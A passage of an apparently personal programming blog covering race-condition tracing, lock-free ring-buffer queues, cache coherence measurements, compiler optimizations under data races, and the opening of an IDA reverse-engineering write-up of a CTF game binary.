There is an obvious relationship between the first and the second trace instructions so "begin foo..." happens before "end foo..." but nothing prevents the compiler or the CPU to reorder the inline instructions from foo().

So what could happen is:

// thread 1                         // thread 2
foo_a;
foo_b;
tbuf[tpos++].msg = "begin foo";
                                    tbuf[tpos++].msg = "begin foo";
                                    tbuf[tpos++].msg = "end foo";
tbuf[tpos++].msg = "end foo";
                                    foo_a;
                                    foo_b;

So not only thread 1 called foo() before thread 2 but even after the log entry "end foo" the thread 2 didn’t call foo() at all.

Sorry to say but you don’t have much options and whatever you choose it will affect the precision of the log or it will affect the behaviour of you code under debug.

Automated tools

This would be the holy grail but we are still far from a tool to detect race conditions in general.

Thread Sanitizer, also known as tsan, goes in that direction.

Helgrind has been for a while too.

This is a huge area to explore…

Code

Take at look how loki library’s debug facilities are implemented. It humbly supports tracing, mutexes and a compiled version with tsan.

Alternative methods are welcome!!

References

Jeff Preshing’s lightweight logging
Shameem Akhter and Jason Roberts’ multithreading debugging techniques

References were taken on May 1st.

Lock Free Queue - Part II

2020-04-28T00:00:00+00:00

If implementing a lock-free queue for only one producer and consumer is tricky, adding more producers and consumers moves this to the next level.

This is the continuation of the lock-free single-producer single-consumer queue

Not only we need to prevent race conditions between the producers and the consumers but also between producers and between consumers.

Race between producers

Recall the first part of push(): we load the producer’s head, and calculate if we have enough room for the incoming data and if we have, we update the producer’s head to the next position.

uint32_t push(struct queue_t *q, uint32_t *data, uint32_t len) {
    old_prod_head = q->prod_head;
    cons_tail = __atomic_load_n(&q->cons_tail, __ATOMIC_ACQUIRE);

    uint32_t free_entries = (capacity + cons_tail - old_prod_head);
    n = (free_entries < len) ? free_entries : n;

    if (!free_entries || free_entries < n) {
        errno = ENOBUFS;
        return 0;
    }

    new_prod_head = (old_prod_head + n);
    q->prod_head = new_prod_head;
    // ...

Consider now what would happen if we have two producers: both will compete in a race to put what they think that it is the new value of head.

More over the space reserved for both will overlap leading to a memory corruption.

Two producers racing for reserving the same space.

What we need is the load, compute and store on q->prod_head as a single atomic operation. This is called read-modify-write operation.

⊕ Or compare and exchange

No builtin atomic exists for that but we can built one with a compare and swap instruction.

Move the head/tail forward atomically - CAS loop

uint32_t push(struct queue_t *q, uint32_t *data, uint32_t len) {
    old_prod_head = __atomic_load_n(&q->prod_head, __ATOMIC_RELAXED);

    do {
        cons_tail = __atomic_load_n(&q->cons_tail, __ATOMIC_ACQUIRE);

        uint32_t free_entries = (capacity + cons_tail - old_prod_head);
        n = (free_entries < len) ? free_entries : n;

        if (!free_entries || free_entries < n) {
            errno = ENOBUFS;
            return 0;
        }

        new_prod_head = (old_prod_head + n);

        success = __atomic_compare_exchange_n(
                        &q->prod_head,      // what we want to update,
                        &old_prod_head,     // asumming that still have this value,
                        new_prod_head,      // with this value as the new one.
                        false,
                        __ATOMIC_RELAXED,
                        __ATOMIC_RELAXED
                    );

    } while (!success);
    // ...

⊕ Note that I said “it still has the same value”; I did’t say “the value did’t change”. For our queue it doesn’t matter but for other structures it is really important and the confusion leads to the ABA problem

The idea is to do an atomic read, do all the modifications and checks that we need and then do an atomic write with the new value only if the head is still pointing to the same position that we read.

That is what __atomic_compare_exchange_n is about.

If it is, it means that no other producer moved the head and we can proceed.

⊕ There is no need to do an explicit atomic load again, __atomic_compare_exchange_n will do it for us if it fails.

If not, we need to retry again until we succeed.

This loop makes the push() to take an unbound number of steps (loop iterations) until it can proceed. The queue is lock-free but no wait-free anymore.

Waiting for others

Once a producer finished the write it releases it updating the producer’s tail to the new head.

uint32_t push(...) {
    // ...
    // write the data
    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    __atomic_store_n(&q->prod_tail, new_prod_head, __ATOMIC_RELEASE);
    return 0;
}

However we have another race condition here.

It is not about the store of the value, we can use an atomic store for that; it is about the order of the stores.

Both producers have the correct notion of the next head thanks to the CAS loop however this is only truth if the first producers updates the tail before the second one.

Recall that the producer’s tail is the marker for the consumers to stop, preventing them to read undefined data.

If the second producer updates the tail there are not guaranties that the first producer finished her writing by then; she didn’t released the memory reserved.

Two producers racing for marking the data as ready.

If the producer 2 updates the tail before the producer 1, the consumers may read that the producer 1 may not had written yet.

What we need is to enforce an order: all the previous push() must complete before a producer update the tail.

We can get this waiting until the tail reaches the old head meaning that any reserved space for writing (between the tail and the old head) was used and released.

So the next block reserved begins at the old head/current tail and ends at the new head.

uint32_t push(...) {
    // ...
    // write the data
    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    // loop until the tail reaches our original head.
    // ensuring that no other previous push is still in progress
    while ((volatile uint32_t)(q->prod_tail) != old_prod_head) {
        // Tell the CPU that this is busy-loop so he can take a rest
        loki_cpu_relax();
    }

    __atomic_store_n(&q->prod_tail, new_prod_head, __ATOMIC_RELEASE);
    return 0;
}

Multi-producer multi-consumer queue (final version)

The code can be found in the loki library.

Future research on the busy waits

The push(), and analogously the pop(), has two busy waits: the CAS loop for update the head and the wait-for-others for updating the tail in order.

Both loops have an impact on the parallelism depending of different factors.

It is expected to have more contention in the CAS loop as the number of producers increase, especially when the data written is small.

On the other hand, it is expected to have more time wasted on the wait-for-others loop when the data is larger as this should dominate the time needed to complete one push() and therefore preventing to complete the next ones.

In a future post I will explore this.

Other implementations

I didn’t have the chance to explore this, but the Thomasson’s MPMC queue followed another approach based in a linked list.

The documentation says that it has lock free pop() and wait free push().

The only downside is that requires a double-word CAS instruction.

Open questions

The DPDK’s ring buffer adds a fence between the read of the old producer’s head and the read of the consumer’s tail and I cite:

“Ensure the head is read before tail”

uint32_t push(struct queue_t *q, uint32_t *data, uint32_t len) {
    old_prod_head = __atomic_load_n(&q->prod_head, __ATOMIC_RELAXED);

    do {
        /* Ensure the head is read before tail */
        __atomic_thread_fence(__ATOMIC_ACQUIRE);

        cons_tail = __atomic_load_n(&q->cons_tail, __ATOMIC_ACQUIRE);

        uint32_t free_entries = (capacity + cons_tail - old_prod_head);

        /* rest of the CAS loop */
    } while (!success);
    // ...

The thread fence synchronize with the atomic ensuring that the head stored by one producer is visible by the load of another.

Is it possible for a producer to load a head too old? By the moment of the load another producer had already stored a new value but it is still not visible by the former.

If that is possible the former producer will compute an incorrect free_entries.

What about the CAS instruction? If the producer didn’t see the updated value by the time it does the CAS instruction, it will be setting the wrong head value just as if the CAS loop wasn’t there.

Am I missing something? – Probably.

References

Kip Macy implemented a buffer ring for FreeBSD. It was the base foundation for DPDK’s rte_ring.

Also GCC Atomics, gcc.gnu.org and my previous post lock-free single-producer single-consumer queue.

Also:

References at March 2020.

Sidenote: Identifiers

2020-04-19T00:00:00+00:00

What would be a nice identifier for the people in, let’s say, a database?

We need identifiers to operate the tables, make joins, and all kind of crazy data processing.

What would be a good one?

⊕

Their names and addresses? Quite old fashion. Collisions are possible and can be very frequent.
Building an id based on the attributes of the person is not good in any case: it is a matter of time that the person change in some way (like change her address) to make the id schema inconsistent.

⊕

Their government-level id, like the Social Security Number? Better but no, different countries have different identifier systems like INSEE in France. If you plan to use the software world-wide this will not work.
And you are still depending on humans to ensure uniqueness.

Their email? Everyone has an email, right? Yea… well. It is more nation agnostic but still…

Their DNA? That’s unique right?

Keep it simple. Use a plain number.

Just:

do not allow a human to set the id, make the id unique by software.
do not associate any meaning to it, it is just a number.
be careful, assigning numbers incrementally will allow and attacker to guess what will be the next id. This may or may not be a problem.
do not reuse any id, never.
make sure that the space of possible numbers is large enough.

Lock-Free Queue - Part I

2020-03-22T00:00:00+00:00

While implementing a bounded queue or ring buffer in a single-thread universe is relatively easy, doing the same when you have two threads, the implementation of a lock-free queue is more challenging.

In this first part will analyse and implement a lock-free single-producer single-consumer queue. A multi-producer multi-consumer queue is described in the second part.

In a traditional queue we have two pointers: the head, that points to the next free entry to write and the tail, which points to the next entry ready to be read.

When a producer pushes a new data to the queue, she moves forward the head and writes the data; meanwhile the consumer reads the data and moves forward the tail.

⊕ Full queue. One entry is always left empty to differentiate a full queue from an empty queue.

Other implementations do not waste this entry.

The pointers serve as stop-markers: the producer will not write if the head points to an entry that is immediately before the entry pointed by the tail; the consumer will not read if the tail and the head are pointing to the same entry.

⊕ Empty queue. When head and tail pointers are the same there is not ambiguity.

In the first case we say that the queue is full; in the second, the queue is empty.

But if we want to make the queue thread safe without using locks we need to make the push and the pop atomic.

And here is the problem: if a producer store the data and later moves the head, another producer will see the old head in between and store her data in the same place overwriting the first one.

⊕ You may think that this cannot happen because we have only one producer.

And you are correct except for the memory reorders.

We cannot longer guarantee that the head was moved after writing the data even if the code say so. Keep reading.

Changing the order doesn’t fix the problem: a producer may move the head before writing, trying to reserve the space but now a consumer may forward the tail before the data was actually written reading entries that are empty.

The problem is that the write and the move of the head is not a single atomic action.

The same happen for reading.

The key to resolve this is to have two heads and two tails.

Reserve-Commit

Both the producer and the consumer need their own head and tail.

The producer moves her head to reserve the space so other writers will begin to write starting from that point.

At the same time the consumer will not forward beyond the producer’s tail.

Only when the producer finishes, she will move forward her tail, commiting the change and allowing the readers to proceed.

The consumer does something similar: moving the consumer’s head reserves the entries to read so other readers will not pop the same data; and the consumer’s tail serves as a stop-marker for the writers.

Now, the trick is in how to move those pointers atomically.

Single-consumer single-producer queue (buggy version)

⊕ Pseudo-C code, for simplification. The full code can be found in the loki library.

Let’s draft the push() function:

uint32_t push(struct queue_t *q, uint32_t *data, uint32_t len) {
    old_prod_head = q->prod_head;
    cons_tail = q->cons_tail;

    uint32_t free_entries = (capacity + cons_tail - old_prod_head);
    n = (free_entries < len) ? free_entries : n;

    if (!free_entries || free_entries < n) {
        errno = EAGAIN;
        return 0;
    }

    new_prod_head = (old_prod_head + n);
    q->prod_head = new_prod_head;

    // write the data
    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    q->prod_tail = new_prod_head;
    return 0;
}

As we said before we have the producer’s head and the consumer’s tail pointers.

We load them and check that if there are enough free entries for pushing len data. capacity here is the size of the queue minus one ensuring that a producer’s head will never reach the consumer’s tail in a push.

If we have room, we update the producer’s head to the new value: now the consumer had reserved the space between her tail and head pointers to write the data.

After the write, the producer update her tail pointer so the consumer can move forward and consume the new available data.

Atomic loads and stores

In a single-producer, the head is only modified by a single thread but now, it can be modified by multiple producers.

To ensure a consistent value, the producer’s tail must be updated (store) atomically so the consumer will not read an incomplete value.

This applies for consumer’s head too: the producer must load it atomically.

⊕ The compiler may assume that q->prod_tail is never read so it could strip the store off. Under a single thread scenario this is correct; in a multithreading scenario this is a disaster.

In some processors the loads and stores to uint32_t are atomic, however that’s not enough: we also need to prevent the compiler from optimize them.

We really need that those loads and stores happen even if the compiler thinks that they are not needed.

⊕ Take at look of what volatile does.

See also the comments about this in cppreference

For that reason we declare them as volatile

struct queue_t {
    volatile uint32_t prod_head;
    volatile uint32_t prod_tail;

    volatile uint32_t cons_head;
    volatile uint32_t cons_tail;
    // ...

⊕ This is what DPDK does while the FreeBSD version assumes loads and stores are atomic.

If the processor cannot guarantee atomic loads and stores, we can instruct the compiler to generate code for that:

    old_prod_head = __atomic_load_n(&q->prod_head, __ATOMIC_RELAXED);
    //....
    __atomic_store_n(&q->prod_tail, new_prod_head, __ATOMIC_RELAXED);

Load and store reorder

Review the following:

⊕ We require the size of the queue to be a power of 2: entry access through the head/tail pointer is masked size-1 instead with module of size.

    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    q->prod_tail = new_prod_head;

What’s wrong?

The compiler may reorder the store of the tail to happen before the actual write of the data. Even if the compiler does not do that, the CPU may do it.

⊕

This is a store reorder. A store is typically much expensive than a load and they are moved upwards to start them sooner or downwards to be delayed hoping to be merged with a further store.

Loads are subject of similar optimizations and the volatile keyword will not prevent that: volatile works at the compiler level, has no effect on the reorder made by the CPU.

⊕ Beware that some barriers are at the compiler level only and here we need to ensure that neither the compiler nor the CPU do something too smartish.

We have the option to use a full write barrier in the middle so all the stores that happen before of the tail update are perceived by other threads as if they happen before the update

    // write the data
    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    wmb();  // write memory barrier

    q->prod_tail = new_prod_head;

Nobody is saying that everything will happen in the same sequential order, just that the notion of A1, A2, … happen before B1, B2, … is preserved.

A1, A2, <barrier>, B1, B2 and A2, A1, <barrier>, B2, B1 are two valid outcomes: reorder on each side of the barrier are perfectly valid (left).

Reorder across the barrier are not (right).

A full write barrier is the nuke option as it prevents any store reorder across that point for all the threads.

A more precise and efficient solution is possible in these days however.

Acquire - Release memory model

Consider the last part of the push and the first part of the pop:

uint32_t push(...) {
    // write the data
    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    q->prod_tail = new_prod_head;
}

uint32_t pop(...) {
    old_cons_head = q->cons_head;
    prod_tail = q->prod_tail;

    uint32_t ready_entries = prod_tail - old_cons_head;
    n = (ready_entries < len) ? ready_entries : n;

    if (!ready_entries || ready_entries < n) {
        errno = EINVAL;
        return 0;
    }
    // ...

The producer updates (stores) her tail to signal the consumer that can move forward.

The consumer is waiting until the producer’s tail is moved forward so there are entries ready for reading.

There is no a real wait: the pop() just fails if there is nothing to read but conceptually there is a signal and wait relationship between the producer and the consumer on the producer’s tail pointer.

This is the same that happens when a thread acquires a mutex: other thread will wait on it until the first thread release it.

The modern processors and compilers introduced this concept in the Acquire - Release memory model.

We say that the consumer acquires the producer’s tail and the producer release it.

⊕ “No reads or writes in the current thread can be reordered after this RELEASE store. All writes in the current thread are visible in other threads that ACQUIRE (load) the same atomic variable. No reads or writes in those threads can be reordered before that load either.”

From std::memory_order, cppreference.com

While a full barrier ensures a “happen before” across all the threads, the ACQUIRE ensures that all the stores of that thread that happen before the ACQUIRE will be perceived than happen before by only the thread that is doing the RELEASE.

uint32_t push(...) {
    // ....
    // write the data
    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    __atomic_store_n(&q->prod_tail, new_prod_head, __ATOMIC_RELEASE);
    return 0;
}

uint32_t pop(...) {
    old_cons_head = q->cons_head;
    prod_tail = __atomic_load_n(&q->prod_tail, __ATOMIC_ACQUIRE);

    uint32_t ready_entries = prod_tail - old_cons_head;
    n = (ready_entries < len) ? ready_entries : n;

    if (!ready_entries || ready_entries < n) {
        errno = EINVAL;
        return 0;
    }
    // ....

⊕ DPDK uses this while the FreeBSD version uses a full memory barrier.

Indeed the RELEASE ensures that the producer’s writes will be visible by the consumer once she ACQUIRE the updated producer’s tail pointer in a much efficient way that a full barrier

Single-producer single-consumer queue (final version)

This is the wrap up: a not only lock-free but a wait-free single-producer single-consumer queue (or ring).

For those how want something compilable, the final bits are in the loki library.

uint32_t push(struct queue_t *q, uint32_t *data, uint32_t len) {
    old_prod_head = q->prod_head;
    cons_tail = __atomic_load_n(&q->cons_tail, __ATOMIC_ACQUIRE);

    uint32_t free_entries = (capacity + cons_tail - old_prod_head);
    n = (free_entries < len) ? free_entries : n;

    if (!free_entries || free_entries < n) {
        errno = ENOBUFS;
        return 0;
    }

    new_prod_head = (old_prod_head + n);
    q->prod_head = new_prod_head;

    for (uint32_t i = 0; i < n; ++i)
        q->data[(old_prod_head + i) & mask] = data[i];

    __atomic_store_n(&q->prod_tail, new_prod_head, __ATOMIC_RELEASE);
    return n;
}

uint32_t pop(struct queue_t *q, uint32_t *data, uint32_t len) {
    old_cons_head = q->cons_head;
    prod_tail = __atomic_load_n(&q->prod_tail, __ATOMIC_ACQUIRE);

    uint32_t ready_entries = prod_tail - old_cons_head;
    n = (ready_entries < len) ? ready_entries : n;

    if (!ready_entries || ready_entries < n) {
        errno = EINVAL;
        return 0;
    }

    new_cons_head = (old_cons_head + n);
    q->cons_head = new_cons_head;

    for (uint32_t i = 0; i < n; ++i)
        data[i] = q->data[(old_cons_head + i) & mask];

    __atomic_store_n(&q->cons_tail, new_cons_head, __ATOMIC_RELEASE);
    return n;
}

Open questions

In the FreeBSD queue the push() and pop() are wrapped with critical_enter() and critical_exit(). I’m not sure exactly why. From the thread safety point of view, they should not be necessary but they may be there for some reason.

References

Kip Macy implemented a buffer ring for FreeBSD. It was the base foundation for DPDK’s rte_ring.

Both were used as references along with

References at March 2020.

Effects of CPU Cache Coherence

2020-02-15T00:00:00+00:00

Most modern cpus see a single shared main memory seeing the same thing, eventually.

This post explores what is behind this “eventually” term.

Consider the following function.

It is executed by two threads that increment by one the values of an array one at time: one waiting for even numbers before incrementing, the other waiting for odd numbers.

void* loop(void *p) {
    struct ctx_t *ctx = p;
    int *data = ctx->data;
    int *counters = ctx->counters;
    int n = ctx->n;

    for (int j = 0; j < ROUNDS; ++j) {
        for (int i = 0; i < DATASZ; ++i) {
            int cnt = 0;
            while(data[i] % 2 == n) {
                ++cnt;
            }
            ++data[i];
            counters[i] = cnt;
        }
    }

    return NULL;
}

The threads synchronize themselves with a busy-loop but the shared array ctx->data is not protected in any way so there is a race condition there.

As we saw in a previous post we can avoid any corruption due the RC for this so simple program if we don’t allow the compiler to optimize the code.

$ gcc --version
gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516

$ gcc -std=c11 -lpthread -O0 -ggdb -DDATASZ=8 -o rccnt rccnt.c

If the two threads see the same value eventually, how much “time” does it take?

⊕ That is the purpose of counters: track how many cycles took see the expected value at each index.

How many times a busy-loop cycled gives us a rough estimation.

⊕ See man page of pthread_attr_setaffinity_np

To play with different cpus, the program sets the cpu’s affinity of each thread configurable from the command line.

For example, to set the affinity of both threads to the cpu number 0 we do:

$ ./rccnt 0 0
4960841 0 0 0 0 0 0 0
4846049 0 0 0 0 0 0 0
Sum 160

For this post I ran several times the program with all the possible combinations of cpus; scripts and the dataset are here.

CPU contention

Let’s plot what happens when both threads want to use the same cpu:

>>> sns.catplot(x='arr_ix', y='cycles', color='b',
...             data=d[d['cpu'] == d['2nd cpu'] == 0])

In the x-axis we have the index of each element (of an array of DATASZ==8 elements); in the y-axis the amount of cycles need until the value got the correct parity.

Weird?

Assume that the first thread accesses to its cpu.

This thread checks for even numbers and because the array is initialized to zero it has a free pass to increment their values without busy-looping once.

But after the first round, it will restart again and now all the values are set to 1 so it will need to wait.

The second thread will not run immediately because the cpu is still in use by the first thread.

We have a contention scenario.

Without voluntary yielding the execution, the first thread will not release the cpu; only after a while the OS scheduler will kick it off.

Once that, the second thread runs freely until it finishes the round and starts the next one again falling in the same contention scenario.

That explains why there is a huge amount of cycles before accessing the first element and zero for the rest.

Shared and Private Caches

When both threads run in the same cpu they have an immediate visibility of the modifications done by the other.

But what happen when the threads run in different cpus?

>>> sns.catplot(x='2nd cpu', y='cycles', color='b',
...             data=d[(d['cpu'] == 0) & (d['2nd cpu'] != 0)])

Plot how many cycles happen when the first thread ran in the cpu 0 and the other ran in any other cpu.

Each point represents the cycles that happen in one array access in one execution of rccnt.

Note how values around and greater than 1000 are outliers.

Outliers are only a small fraction of the overall set (~0.413%); I presume that these are because a thread is waiting while the other has no access to the cpu because the OS scheduler decided to give the cpu to another process.

Interesting pattern: when the second thread runs in the cpus from 1 to 7 and 16 to 23 require less iterations than other cpus.

They can see the effects of the first thread sooner.

This is an artifact of having a shared and private caches.

Modern hardware has several cores per cpu die or socket.

⊕ The reality is that this is not standard: the details depends of the technology and vendor and changed over the time.

For this post I will assume that L1 and L2 are per socket and L3 shared for all the sockets.

While all the cores share the same L3 cache, each socket has its own private L1 and L2 caches shared by only the cores of that socket.

Cache coherence

When a thread does a store/write it modifies its closest cache: L1.

The same thread does a load/read to that address, it will read exactly that value.

But other threads will read that value eventually.

⊕ Consistency and store/load reordering is for another post.

This is a coherent system. It talks about how the stores are visible to other threads but not necessary in which order.

Having a coherent system is critical for today’s code that relay in a unified and shared view of the memory regardless of which thread is running in which core.

But each core has its own private L1 and L2 caches and each socket its own L3 cache: a store in one core will affect its L1 immediately but the store will take some time to be visible to L1/L2 caches of other cores in the same socket and a little longer to be visible in the caches of other sockets.

⊕ “Multicore Cache Coherence” (in the reference) explains how to achieve this.

To have a coherent view of the memory, the caches synchronize themselves

Let’s see the effects of this comparing each cpu against the other.

>>> x = d[d['cycles'] < 1000].groupby(['cpu', '2nd cpu']).mean()
>>> del x['arr_ix']

>>> x = x.unstack()
>>> x = x['cycles']

>>> sns.heatmap(x)

Plot a heatmap comparing each cpu agaist each other. Outliers (cycles > 1000) are ignored and the mean is used as the aggregation function.

The major diagonal (when both threads use the same cpu) has the lowest values but this is because we removed the outliers so it is not entirely correct.

The other two minor diagonals also have the lowest values but this is not the product of removing outliers.

The heatmap corroborates the clustering: cpus 0 to 7 and 16 to 23 can see the effects of the other thread in the same cluster sooner than the other cpus. The same for the other cluster that spans cpus 8 to 15 and 24 to 31.

When the two threads are in separated clusters not only they spend more cycles looping but also it seems that the amount of cycles is more unpredictable.

⊕ This is more like a hunch.

This makes the heatmap almost symmetric with some squares slightly brighter than their counterparts.

This is the effect of having separated caches.

But the heatmap reveals something else!

Hyper-threading

There are two minor diagonals that have the lowest cycles values and cannot be explained by the caches.

It happens when we use the pairs 0 and 16, 1 and 17, 2 and 18 and so on.

Those pairs are hyper-threads of the same core.

⊕ Paralellism is perhaps too optimistic. Even if the same core can run multiple things, several components are mutually exclusive used. Concurrent is a better word.

Modern cores do instruction level paralellism and execute two or more threads.

In this case, we have 2 hyper-threads per core, sharing the same L1.

High-level diagram. The colours are qualitative following the same color palette used by the heatmap.

Open questions

We used an array of 8 elements of int that gives us 32 bytes. Current technology uses cache lines of 64 bytes. Will the results in this post change if we use larger arrays?

We saw how two threads running in the same cpu fight each other because none yields the cpu; sched_yield is POSIX function to relinquish the cpu. What would happen?

The heatmap was not entirely symmetric. Does it mean that we need to collect more data and try to understand and suppress the noise, or is there something else?

What about NUMA (Non Uniform Memory Address)? Could the results shown in this post be explained by it?

Conclusions

The modern architectures present the memory as a single shared unit; caches are put in between the memory and the cpus to match the difference in speed.

If a multithread application runs, the caches may have different values for the same addresses so a coherency mechanism is put in place.

But it is not free and changes done by one thread take longer to be seen by the other when running in different cores, especially in different cpu sockets.

And the things gets worst if two thread modified memory addresses that are near each other and both fit in the same cache line. Because the cache coherence works line by line, a store in one position will invalidate the cache of other threads that have that dirty line even if they are not using that particular address. This is known as false sharing and it can degrade the performance a lot under specific circumstances.

These conclusions highly depend of the hardware and may not apply to all the systems but this post shows how complex can get such a simple thing like a cache.

References

Multicore Cache Coherence (Lecture 17), John P. Shen. October 25, 2017.
Avoiding and Identifying False Sharing Among Threads, Intel, November 2, 2011

Compiler Optimizations under a Race Condition

2020-02-07T00:00:00+00:00

When two or more concurrent tasks perform non-atomic read/write operations over the same data we have a race condition and the system will be in an undefined state.

But what exactly does that suppose to mean? What is behind the generic undefined state?

Consider the following code

void* loop(void *p) {
    struct ctx_t *ctx = p;
    int *data = ctx->data;
    int n = ctx->n;

    for (int j = 0; j < ROUNDS; ++j) {
        for (int i = 0; i < DATASZ; ++i) {
            while(data[i] % 2 == n);
            ++data[i];
        }
    }

    return NULL;
}

The loop function will run in two separated threads. One will increase by one each value of the array if the previous value was even, the other will do the same but if the previous value was odd.

To synchornize the efforts of these two, the code has a busy wait, a while-loop that will run until the condition is set.

The data array is not protected so this will lead to a race condition.

Let’s compile & run it:

$ gcc --version
gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516

$ gcc -std=c11 -lpthread -O0 -ggdb -DDATASZ=256 -o rcO0 rc.c

$ ./rcO0 0 1
Sum 5120

⊕ The array of DATASZ == 256 numbers is initially zeroed. Two threads increment each value by one ROUNDS == 10 times.

The displayed number is the sum of the values that should give 256 * 10 * 2 == 5120.

Surprisingly the code seems to work computing the correct result.

I ran several times and I always got the same.

But the party begins when we compile with the optimizations enabled: -O3 flag in gcc.

This time, the optimized program hangs – every time.

Dissection of an optimized RC

Let’s see what code gcc generated.

For the non-optimized code rcO0, the following picture shows the busy loop while(data[i] % 2 == n);:

The mov eax, [rax] reads the array and cmp checks for the condition.

If it is not set, the jz jumps to the begin of the loop again.

We can see how the program retries again and again until the condition is set before proceeding.

But for the optimized code, the story is totally different.

The busy loop was rewritten as one conditional: if the condition is not set the program will jump to an infinite loop.

A race condition leads to an undefined state and for a compiler this opens the door for optimizations.

Unless explicitly noticed, the compiler will assume that the code is single threaded.

⊕ if (data[i] % 2 == n) while (1); ++data[i];

If the while-loop waits for a different value but it does not change it, nobody will change it ever so, unless the condition is set from the begin, it is an infinite loop.

So the compiler decided to rewrite it as a single check and an infinite loop that explains why the program hangs.

Volatile

⊕ Writes (stores) too: a compiler could optimize issuing only the last of many writes if not read (load) happen in between or it could issue one of them if all of them write the same value.

volatile disables these assumptions.

C and C++ has the volatile qualifier that instructs to the compiler to not assume that reading twice the same variable could yield the same result even if no apparent write happen in between.

⊕ volatile int *p pointer to volatile-data; int * volatile p volatile pointer to data. They are not the same.

We could define a pointer to the volatile data:

void* loop(void *p) {
    struct ctx_t *ctx = p;
    volatile int *data = ctx->data;
    ...
        for (int i = 0; i < DATASZ; ++i) {
            while(data[i] % 2 == n);
            ++data[i];
        }
    ...

⊕ You can generalize this cast as a macro READ(x) ((volatile typeof((x)))(x))

Take at look at Linux’s READ_ONCE for a more complete construction even for non-atomic/non-primitive variables.

Or we could use volatile in a cast:

void* loop(void *p) {
    struct ctx_t *ctx = p;
    int *data = ctx->data;      /* non-volatile */
    ...
        for (int i = 0; i < DATASZ; ++i) {
            while(((volatile int*)data)[i] % 2 == n);
            ++data[i];
        }
    ...

In the first case, any further read of or write to data will not be optimized by the compiler; while in the second case only the read of the array element will not be optimized.

This is something that have an impact on the code generated.

Even if the two programs run correctly, the latter case is slightly more efficient.

On the left, the code when data was defined as volatile int*; on the right, when only the read ((volatile int*)data)[i] was affected by volatile.

Both codes were generated with -O3: they are faster than the generated by -O0 but slower than -O3 without volatile, still yielding the correct result.

Notice how ++data[i]; was optimized on the right.

Conclusions

A race condition leads, by definition, to an undefined behaviour.

And the compiler will take this as an opportunity for optimize the code even if that goes against the developer’s desires.

volatile prevents some of these optimizations but the race condition is still there and therefore the undefined behaviour.

This means that other parties like the CPU may perform optimizations and volatile will not help us.

References

RPG - Part I (IDA writeup - EKO 2019)

2019-10-27T00:00:00+00:00

rpg is a buggy game where the player can attack to and defend from attacks of monsters.

Let’s see if we can know how it works.

It is a 64 bits ELF binary:

$ file rpg                      # byexample: +norm-ws
rpg: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.32,
BuildID[sha1]=<...>, stripped

We expect some part of libc in the binary and no symbol at all.

So our first task is to find what pieces of the binary are of the game and which aren’t like stdlib.

Strings as Starting Points

Let’s see what strings we can find:

$ strings -a -16 rpg | head -14
Monster %s attack to %s with %d damage.
%s has stopped the attack.
%s is dead. GG WP.
Monster %s defends with %d of defense.
%s hit a critical to %s.
0) Create player
1) Update player name
2) Delete player
3) Player attack
4) Player defend
5) Get current time
User created, first delete it.
Enter player name:
User not created.

Running the program we can map those strings to a mental model of what it does:

⊕ If the player was not created, the options 1 to 4 print User not created.; if the player was created selecting 0 again yields a User created, first delete it.

Other strings shown up. Of course, I’m speculating the conversion specifier like %s and %d:

%s defends.
%s roar to %s.
Name: %s
Lives: %d

ctrl+F12 opens the Strings window listing all the strings that IDA found. Pressing enter in one of the strings, IDA shows us the memory where it was found.

Read-only .rodata section where the strings of the game are stored: the ones that we found with strings, the ones that we saw running the program and some others that we did not spot like "date +%s"

Guessing Functions from their Arguments

From there we can go to the locations of the binary that have a reference to each string selecting the label (aMonsterSAttack) and pressing x.

Hint: the mov eax, 0 before the call; the calling convention says that the variadic function (like printf) will receive 0 floating point arguments.

The de facto calling convention in Linux 64 bits says that the first six parameters are passed to the callee in registers rdi, rsi, rdx, rcx, r8, r9 (xmm0, xmm1, xmm2, xmm3, xmm4, xmm5, xmm6 and xmm7 for floating point arguments).

With this we could assume that the next call after referencing aMonsterSAttack is a printf-like function.

This is what we got:

Press n on top of a label we can change the name; press : we can add a comment on that line.

⊕ To get the pointer to the players name the code does a second indirection: possibly we are dealing with an attribute of a struct.

printf-like function call with four arguments: the format string, the name of the monster, name of the player and the damage.

What about the code that reads the player’s name?

Three calls happen after the print of the message. One of them should be a read like function:

sub_4117C0: unlikely, it only receives one parameter (cs:off_6CC840)
sub_400D16: more likely, it receives a buffer and a size (100h)
sub_425850: unlikely, it receives the buffer but not the size because the size previously set in esi is not preserved between calls so it could be garbage. Besides, sub_425850 is not call when the user needs to select an option in the main menu so it is unlikely that it is a read like.

⊕ If you said, ey!, may be there is a buffer overflow there. No. Double click in sbuf to go to the Stack view and right click on sbuf and select Convert to Array: based on IDA analysis there are at least 264 bytes (greater than 100h o 256).

Ok, if the second call (sub_400D16) is fgets?, the third should be a strdup? call.

Why?

The name is stored in the stack so the only way to make it to survive is copying it to the heap or other global place. strdup will do the trick.

The last instruction marks that the user was created in a global variable.

cs:is_user_created is tested against 0 in several places to check if the user was created or not.

Keep Guessing

The entire block configures the hypothetical player_struct setting the name of the player at the offset 8 (like we saw before) and the lives of the player at the offset 0:

mov     byte ptr [rax], 10h
mov     rax, [rbp+player_struct] ; player's lives (= 16)

⊕ No, there are not memory leaks here. The delete player function is a good boy.

If this is correct, mov cs:player_struct, rax saves the pointer to the struct globally, struct allocated at the begin of the block.

The key note here is that we don’t know. We can just guess.

But guessing is good, and the guess in one side may give use the context to understand other pieces of code.

Magic Numbers

The begin of the game gives us more clues

time and sys_alarm are wrappers of syscalls. In Linux a syscall call is made setting the syscall number in the eax register and calling syscall instruction. IDA detects those quite well.
Full of shifts, multiplications and magic numbers like 834E0B5Fh and 41C64E6Dh? That looks like a congruent PRNG. That is how I found srand.

I bet this is something like srand(time(NULL) >> 8).

⊕

